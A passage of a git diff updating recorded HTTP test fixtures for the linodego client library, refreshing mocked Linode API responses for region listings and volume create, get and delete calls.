"ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -76,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:48 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -97,9 +289,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -118,7 +313,7 @@ interactions: url: https://api.linode.com/v4beta/volumes method: POST response: - body: '{"id": 566468, "status": "creating", "label": "go-vol-test-def", "created": + body: '{"id": 4210936, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -135,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "317" + - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:48 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -156,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "100" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -174,10 +376,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566468 + url: https://api.linode.com/v4beta/volumes/4210936 method: GET response: - body: '{"id": 566468, "status": "active", "label": "go-vol-test-def", "created": + body: '{"id": 4210936, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -194,16 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "315" + - "316" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:03 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -217,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -235,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566468 + url: https://api.linode.com/v4beta/volumes/4210936 method: DELETE response: body: '{}' @@ -251,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -272,9 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_WaitForLinodeID_volume.yaml b/test/integration/fixtures/TestVolume_WaitForLinodeID_volume.yaml index 1839afeba..7651fbd2b 100644 --- a/test/integration/fixtures/TestVolume_WaitForLinodeID_volume.yaml +++ b/test/integration/fixtures/TestVolume_WaitForLinodeID_volume.yaml @@ -14,56 +14,244 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": 